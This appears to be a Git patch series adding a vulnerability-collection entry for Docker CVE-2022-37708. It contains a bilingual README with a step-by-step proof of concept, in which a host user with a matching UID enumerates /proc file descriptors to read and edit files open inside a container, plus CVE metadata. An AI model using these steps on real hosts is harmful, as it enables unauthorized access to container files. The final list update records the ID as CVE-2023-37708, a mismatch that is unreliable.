From fd2eee6107d308c89f9e9ed5eb19beeece75527b Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:32:17 +0000 Subject: [PATCH 01/14] =?UTF-8?q?=E6=96=B0=E5=BB=BA=202022?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/2022/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/docker/2022/.keep diff --git a/cve/docker/2022/.keep b/cve/docker/2022/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From 0ad697e8e5277fd806fcd16ade46c08c64603c76 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:32:57 +0000 Subject: [PATCH 02/14] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/docker/2022/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/2022/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/docker/2022/.keep diff --git a/cve/docker/2022/.keep b/cve/docker/2022/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From 4f0d7c6e451f24146be6dff6e1ca478fb05d3661 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:38:29 +0000 Subject: [PATCH 03/14] =?UTF-8?q?=E6=96=B0=E5=BB=BA=202022?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/2022/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/docker/2022/.keep diff --git a/cve/docker/2022/.keep b/cve/docker/2022/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From b52ba99fedde7120e0504f62bcb58d2252907929 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:39:34 +0000 Subject: [PATCH 04/14] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20CVE-2022-37708?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/2022/CVE-2022-37708/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/docker/2022/CVE-2022-37708/.keep diff --git a/cve/docker/2022/CVE-2022-37708/.keep b/cve/docker/2022/CVE-2022-37708/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From 51c0ff57319c02f10fbe1f37aca5f1e798bac5d4 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:41:17 +0000 Subject: [PATCH 05/14] add description of CVE-2022-37708. Signed-off-by: HEBITZ --- cve/docker/2022/CVE-2022-37708/README.md | 197 +++++++++++++++++++++++ 1 file changed, 197 insertions(+) create mode 100644 cve/docker/2022/CVE-2022-37708/README.md diff --git a/cve/docker/2022/CVE-2022-37708/README.md b/cve/docker/2022/CVE-2022-37708/README.md new file mode 100644 index 00000000..7bb3437a --- /dev/null +++ b/cve/docker/2022/CVE-2022-37708/README.md @@ -0,0 +1,197 @@ +# Docker Lightman Exploit +Docker CVE-2022-37708. + +This exploit relies on how the UNIX filesystem has UID and GID on files that Docker shares between the Host running the Docker and the Client being run within the Docker as well as relies on the nature of how Process ID ownership works. + +## The Problem in a nutshell. + - Docker directly maps the IDs from the shares within the Client to a private (and protected) directory on the "host system" (such as /var/lib/docker/volumes). + - Directory traversal to this path is properly restriced and is not the exploit here. + - These files have whatever UID and GID used within the system hosted within Docker (aka, the "client system"), regardless of whether or not the host system has or uses those UIDs/GIDs. + - If at any point in time a file is opened up inside the "client system", that file descriptor becomes available on the Host system (outside of the Client). + - The file descriptor for that file is owned by whatever UID, even if that UID doesn't exist on the Host system. + - If it just so happens that a non-root/non-privileged user on the Host system happens to have that UID, then that user can read and write to the file without needing directory traversal access to the file (or even needing to know the file location). + - A fully legitimate user can therefore PID dial (like war dialing), looking for open file descriptors for files. + +This can be done in virtually any language that provides file descriptors access. +The /proc/ directory happens to expose this, making this very easy to perform using a shell commands. + +## The Exploit +Consider a computer that is providing a e-mail service for multiple users. +This e-mail service is run inside a self-contained distribution running inside of Docker on the host. +The self-contained distribution is considered the "client system". +The system in which Docker is running on is considered the "host system". +The "host system" has different services on it, such as "DBUS" for providing a message-bus. +For security reasons, the "DBUS" message bus is run as an unprivileged user "messagebus" and has UID 123. +The "messagebus" user has no access to Docker and has no access to the "client system". +For security reasons, the "client system" runs the e-mail processing as a non-root user "emailservice" and has the UID 123. + +Notice how I designated the "messagebus" as having an UID of 123 and also the "emailservice" as having a UID 123. +This is not normally a problem because these are two separate systems (the "client system" and the "host system") and their UIDs and user mappings have no relationship to each other. + +If at any point in time the "emailservice" opens up a random e-mail to process, the "messagebus" would have the opportunity to both see and edit that file. Because the "messagebus" user is completely outside of the "client system", the "client system" would never know that this file is potentially being read and written to. + +This can be even more dangerous if the "emailservice" read the systems shadow file to validate some username and password combination. +The "messagebus" would then have full read and write access to the shadow file within the "client system" for the duration in time in which that file is open within the "client system". + +## Performing Exploit +An easy way to perform the exploit is to just PID dial the `/proc/` directory for pid files. +A simple bash script in an infinite loop can periodically look for files being opened. + +```shell +for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done +``` + +## Scope of Exploit +There are two critical parts of the exploit that makes it hard to exploit. +1. Time. The exploit is only applicable for the time in which a file is open within the "client system". +2. Luck. The exploit requires that the UID a file is opened with within the "client system" must match the UID of the user on the "host system". + +For the first case, an infinite loop and some script magic can alleviate this. +For the second case, a specially crafted distribution or a well known distribution can rule out the luck part. If a system has pre-defined UIDs then it should be possible to predict what UID outside of the "client system" is needed. + + +## Example Performing of the Exploit +Using Vagrant Debian-10 (Buster) virtual machine to run as the "host system" to test the explot: +``` +Vagrant.configure("2") do |config| + config.vm.box = "generic/debian10" + + config.vm.provider "virtualbox" do |vb| + vb.memory = 4096 + vb.cpus = 2 + vb.name = "Wargames" + end + + config.vm.synced_folder "/tmp/files", "/host" +end +``` + +Inside the "host system", get the latest version of Docker and follow the instructions here: +- https://docs.docker.com/engine/install/debian/ + +The example "client system" is an open-source product hosting on Github called DSpace that provides a docker-compose file: +- repository: https://github.com/DSpace/DSpace +- commit hash: a235551fabbb7e0b34b877e73704e8941a510cae + +Now clone Dspace, and run docker compose: +```shell +# git clone https://github.com/DSpace/DSpace.git +# cd DSpace +# docker compose up +``` + +There are several images created by this project, but lets focus on "dspace_solr_data". + +Lets confirm directory traversal is protected: +```shell +# sudo ls -ld /var/lib/docker +drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker +``` + +Lets look at the file I want to exploit: +```shell +# sudo find /var/lib/docker/volumes/ -name solr.xml +/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml +/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml +``` + +```shell +# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml) +-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml +-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml +``` + +This tells us that our lucky user needs to happen to have a UID of 8983 to be able to exploit this. + +Lets create this lucky user, and call him "Lightman". +```shell +# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman +``` + +Now lets look at those files: + +```shell +# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml) +-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml +-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml +``` + +For Lightman to exploit this, not only does Lightman have to own the files, some process __WITHIN__ the "client system" needs to have the file open. +For the purposes of proving this exploit, we are going to use `tail -F` on the `solr.xml` file inside of the "client system". + +Do this in a separate terminal, logged into the "host masystemchine" as the vagrant user. + +Figure out the correct container: +```shell +# docker ps -a +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +... +c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr +``` + +Now connect to `solr:8.11-slim`. +```shell +# docker run -it solr:8.11-slim bash +# id +uid=8983(solr) gid=8983(solr) groups=8983(solr) +``` + +The solr user does indeed have UID 8983. + +Now open the `solr.xml` file and keep it open. +```shell +# tail -F /var/solr/data/solr.xml +``` + +Great, everything is setup for this Lightman user to war dial the for file descriptors. + +In a separate terminal. logged into the "host system" as the vagrant user, switch to the Lightman user. +```shell +# sudo su - Lightman +# id +uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman) +``` + +Use `/proc` to dial all of the open file descriptors: +```shell +# ls /proc/*/fd/* -ld +lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0 +lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml +lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty +lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3 +lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3 +``` + +As you can see, we have two matches: +```shell +lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml +lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify +``` + +Notice that the path `/var/solr/data/solr.xml` does not actually exist on the "host system". + +Pay close attention to the terminal that you are running `tail -F` on as you do this. +Edit the file by directly opening via the proc path: +```shell +# vim /proc/12683/fd/3 +``` + +I go to the bottom of the file, write `Hello World`, and save the change. +You should see, within the "client system", the file is also updated. + +Lightman has successfully edited a file that Lightman has no proper read/write access to nor has any file directory traversal access to. +The file is actually within a Docker client running under a different distribution that does not have a "Lightman" user on it. -- Gitee From b3ea79725e44d0ce2d3bb1bbd66799026e35edc9 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:41:52 +0000 Subject: [PATCH 06/14] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/docker/2022/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/2022/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/docker/2022/.keep diff --git a/cve/docker/2022/.keep b/cve/docker/2022/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From fb516addb382cee2974247fb46f1884f3fad7087 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:42:01 +0000 Subject: [PATCH 07/14] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/docker/2022/CVE-2022-37708/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/2022/CVE-2022-37708/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/docker/2022/CVE-2022-37708/.keep diff --git a/cve/docker/2022/CVE-2022-37708/.keep b/cve/docker/2022/CVE-2022-37708/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From 444dae769cf111d2ff9e2a2c7cff3aaceeea9098 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:51:18 +0000 Subject: [PATCH 08/14] update cve/docker/2022/CVE-2022-37708/README.md. Signed-off-by: HEBITZ --- cve/docker/2022/CVE-2022-37708/README.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/cve/docker/2022/CVE-2022-37708/README.md b/cve/docker/2022/CVE-2022-37708/README.md index 7bb3437a..43337deb 100644 --- a/cve/docker/2022/CVE-2022-37708/README.md +++ b/cve/docker/2022/CVE-2022-37708/README.md @@ -3,14 +3,16 @@ Docker CVE-2022-37708. This exploit relies on how the UNIX filesystem has UID and GID on files that Docker shares between the Host running the Docker and the Client being run within the Docker as well as relies on the nature of how Process ID ownership works. +该漏洞依赖于UNIX文件系统对Docker在运行Docker的主机和在Docker中运行的客户端之间共享的文件的UID和GID，以及依赖于进程ID所有权的工作性质。 + ## The Problem in a nutshell. - - Docker directly maps the IDs from the shares within the Client to a private (and protected) directory on the "host system" (such as /var/lib/docker/volumes). - - Directory traversal to this path is properly restriced and is not the exploit here. - - These files have whatever UID and GID used within the system hosted within Docker (aka, the "client system"), regardless of whether or not the host system has or uses those UIDs/GIDs. - - If at any point in time a file is opened up inside the "client system", that file descriptor becomes available on the Host system (outside of the Client). - - The file descriptor for that file is owned by whatever UID, even if that UID doesn't exist on the Host system. - - If it just so happens that a non-root/non-privileged user on the Host system happens to have that UID, then that user can read and write to the file without needing directory traversal access to the file (or even needing to know the file location). - - A fully legitimate user can therefore PID dial (like war dialing), looking for open file descriptors for files. + - Docker directly maps the IDs from the shares within the Client to a private (and protected) directory on the "host system" (such as /var/lib/docker/volumes). Docker直接将客户端内共享的ID映射到 "主机系统 "上的一个私有（和保护）目录，如/var/lib/docker/volumes。 + - Directory traversal to this path is properly restriced and is not the exploit here. 对该路径的目录遍历和访问受到适当限制。 + - These files have whatever UID and GID used within the system hosted within Docker (aka, the "client system"), regardless of whether or not the host system has or uses those UIDs/GIDs. 这些文件保存了在Docker中托管的系统（又称 "客户系统"）中使用的UID和GID，无论主机系统是否有或使用这些UID/GID。 + - If at any point in time a file is opened up inside the "client system", that file descriptor becomes available on the Host system (outside of the Client). 任何时候一个文件在 "客户系统 "内被打开，该文件描述符就会在主机系统上可用（客户端外）。 + - The file descriptor for that file is owned by whatever UID, even if that UID doesn't exist on the Host system. 该文件的文件描述符由任何UID拥有，即使该UID在主机系统上不存在。 + - If it just so happens that a non-root/non-privileged user on the Host system happens to have that UID, then that user can read and write to the file without needing directory traversal access to the file (or even needing to know the file location). 如果主机系统上的非root/非特权用户正好拥有该UID，那么该用户可以读写该文件，而不需要对该文件进行目录穿越访问（甚至不需要知道该文件的位置）。 + - A fully legitimate user can therefore PID dial (like war dialing), looking for open file descriptors for files. 因此，一个完全合法的用户可以进行PID拨号，寻找文件的开放文件描述符。 This can be done in virtually any language that provides file descriptors access. The /proc/ directory happens to expose this, making this very easy to perform using a shell commands. -- Gitee From b04be9556784af0b6dbc81ad3af2ea1253487782 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 03:52:44 +0000 Subject: [PATCH 09/14] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20yaml?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/2022/yaml/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/docker/2022/yaml/.keep diff --git a/cve/docker/2022/yaml/.keep b/cve/docker/2022/yaml/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From 54c2b1e2e13d21cf480207d8a8060ee7b5602a41 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 04:11:59 +0000 Subject: [PATCH 10/14] add cve/docker/2022/yaml/CVE-2022-37708.yaml. Signed-off-by: HEBITZ --- cve/docker/2022/yaml/CVE-2022-37708.yaml | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 cve/docker/2022/yaml/CVE-2022-37708.yaml diff --git a/cve/docker/2022/yaml/CVE-2022-37708.yaml b/cve/docker/2022/yaml/CVE-2022-37708.yaml new file mode 100644 index 00000000..94842250 --- /dev/null +++ b/cve/docker/2022/yaml/CVE-2022-37708.yaml @@ -0,0 +1,23 @@ +id: CVE-2022-37708 +source: + https://github.com/thekevinday/docker_lightman_exploit +info: + name: Docker是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个一个轻量级、可移植的容器中，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口，更重要的是容器性能开销极低。 + severity: medium + description: | + Docker版本20.10.15（build fd82621）易受不安全权限的攻击。Docker容器外的未授权用户可以访问Docker容器内的任何文件。 + scope-of-influence: + Docker 20.10.15, build fd82621 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-37708 + - https://www.docker.com/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37708 + - https://github.com/orgs/docker/repositories + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N + cvss-score: 6.8 + cve-id: CVE-2022-37708 + cwe-id: CWE-732 + cnvd-id: None + kve-id: None + tags: 未授权访问 \ No newline at end of file -- Gitee From bd1aaf56925e8b18c9eb4fba664f2b9cf5aee488 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 04:12:08 +0000 Subject: [PATCH 11/14] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/docker/2022/yaml/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/2022/yaml/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/docker/2022/yaml/.keep diff --git a/cve/docker/2022/yaml/.keep b/cve/docker/2022/yaml/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From 16200137ba6a32656ef4c31975a40f644781de37 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 04:12:22 +0000 Subject: [PATCH 12/14] =?UTF-8?q?=E9=87=8D=E5=91=BD=E5=90=8D=20cve/docker/?= =?UTF-8?q?2022=20=E4=B8=BA=20cve/docker/2023?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/docker/{2022 => 2023}/CVE-2022-37708/README.md | 0 cve/docker/{2022 => 2023}/yaml/CVE-2022-37708.yaml | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename cve/docker/{2022 => 2023}/CVE-2022-37708/README.md (100%) rename cve/docker/{2022 => 2023}/yaml/CVE-2022-37708.yaml (100%) diff --git a/cve/docker/2022/CVE-2022-37708/README.md b/cve/docker/2023/CVE-2022-37708/README.md similarity index 100% rename from cve/docker/2022/CVE-2022-37708/README.md rename to cve/docker/2023/CVE-2022-37708/README.md diff --git a/cve/docker/2022/yaml/CVE-2022-37708.yaml b/cve/docker/2023/yaml/CVE-2022-37708.yaml similarity index 100% rename from cve/docker/2022/yaml/CVE-2022-37708.yaml rename to cve/docker/2023/yaml/CVE-2022-37708.yaml -- Gitee From f424b0f2e80237e27c7fcfb200ffe13831eb6e80 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 04:25:47 +0000 Subject: [PATCH 13/14] update cve/docker/2023/yaml/CVE-2022-37708.yaml. Signed-off-by: HEBITZ --- cve/docker/2023/yaml/CVE-2022-37708.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/docker/2023/yaml/CVE-2022-37708.yaml b/cve/docker/2023/yaml/CVE-2022-37708.yaml index 94842250..85eb7605 100644 --- a/cve/docker/2023/yaml/CVE-2022-37708.yaml +++ b/cve/docker/2023/yaml/CVE-2022-37708.yaml @@ -2,7 +2,7 @@ id: CVE-2022-37708 source: https://github.com/thekevinday/docker_lightman_exploit info: - name: Docker是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个一个轻量级、可移植的容器中，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口，更重要的是容器性能开销极低。 + name: Docker是美国Docker公司的一款开源的应用容器引擎。该产品支持在Linux系统上创建一个容器（轻量级虚拟机）并部署和运行应用程序，以及通过配置文件实现应用程序的自动化安装、部署和升级。 severity: medium description: | Docker版本20.10.15（build fd82621）易受不安全权限的攻击。Docker容器外的未授权用户可以访问Docker容器内的任何文件。 -- Gitee From 0614de1bc995d838b8f830af054e399df84c5579 Mon Sep 17 00:00:00 2001 From: HEBITZ Date: Thu, 9 Mar 2023 04:26:15 +0000 Subject: [PATCH 14/14] update other_list.yaml. Signed-off-by: HEBITZ --- other_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/other_list.yaml b/other_list.yaml index 541b0d7c..c8f2303f 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -12,6 +12,7 @@ cve: - CVE-2022-0543 docker: - CVE-2019-5736 + - CVE-2023-37708 samba: - CVE-2021-44142 cnvd: \ No newline at end of file -- Gitee